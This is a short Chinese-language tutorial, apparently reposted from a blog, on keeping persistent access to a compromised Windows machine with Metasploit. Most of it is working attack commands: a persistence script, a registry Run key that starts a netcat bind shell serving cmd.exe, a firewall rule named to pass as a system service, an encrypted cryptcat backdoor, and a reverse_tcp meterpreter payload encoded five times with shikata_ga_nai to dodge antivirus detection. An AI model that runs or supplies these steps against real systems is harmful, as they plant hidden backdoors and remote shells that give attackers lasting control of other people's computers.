使用metasploit 框架保持持久性

   1.metsvc脚本

 2.persistence 脚本

        run persistence -X -i 10 -p 444 -r 目标ip

    删除脚本

        run multi_console_command -rc

   

   3.使用Netcat 作为持久代理

      在meterpreter 中输入:  

          upload/usr/share/windows-binaries/nc.exe c:\windows\system32

      没有meterpreter链接,需要使用简单的文本传输协议。

             接着,配置注册表。是系统运行,并启动netcat  。开启监听端口。

        setval -k 

         hklm\software\microsoft\windows\currentversion\run -d           'c:\windwos\system32\nc.exe -ldp 444 -e cmd.exe'

        使用queryval 来确定成功修改注册表

        queryval -k

        hklm\software\microsoft\windows\currentversion\run -v

        使用netsh命令、打开一个链接到本地防火墙的端口,确保被入侵系统能够远程连接到netcat。

        为了增加端口到本地防火墙,需要在meterpreter提示符后输入shell命令,然后使用适当的命令规则。当对规则进行命名时,比如svchostpassthrough,名字应该暗示此规则对系统的正常运行有重要作用。示例命令显示如下。

        netsh firewall add portopening TCP 444 "service passthrough"

        用如下命令确认修改成功:

         netsh firewall show portopening

        当端口规定确定后,确保重启选项启动。

        在meterpreter 中输入:reboot

        在windows shell中输入:  shutdown  -r  -t 00

          为了远程接入被入侵系统,在命令提示符下输入nc,表示连接的详细程度(参数-v表示报告基本信息,参数-vv表示报告更多详细的信息),然后输入目标的IP地址和端口号

      nc -v ip  +端口

       

不幸的是,在使用Netcat时存在一些限制:没有认证机制,对传输的数据没有加密,几乎能够被所有的反病毒软件检测到。

可以用cryptcat来加密,cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中,它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法,可以为加密的数据提供强有力的保护。

使用cryptcat,确保有一个准备好的监听者,并配置强壮的密码,使用如下命令进行配置:

    cryptcat -k password -l -p 444

    接下来,上传cryptcat到被入侵的系统,使用如下命令进行配置,使其连接到监听者的IP地址:

    C: crytcat -k password <listener ip address> 444

 

    使用metasploit框架创建一个独立持久代理:

       msfpayload windows/meterpreter/reverse_tcp lhost=本地ip lport=4444 x >/root/attack.exe

    使用编码之前准本好的attack.exe

    shikata_ga_nai编辑器:  

      msfencode -i attack.exe -o encoded_attack.exe -e x86/shikata_ga_nai -c 5 -t exe

   使用shikata_ga_nai协议,对attack.exe代理进行五次编码。每一次都是对上一次结果的重新编码,这样就更难侦测到。但是,可执行文件的大小也在增加。

原文地址:https://www.cnblogs.com/pangya/p/7941239.html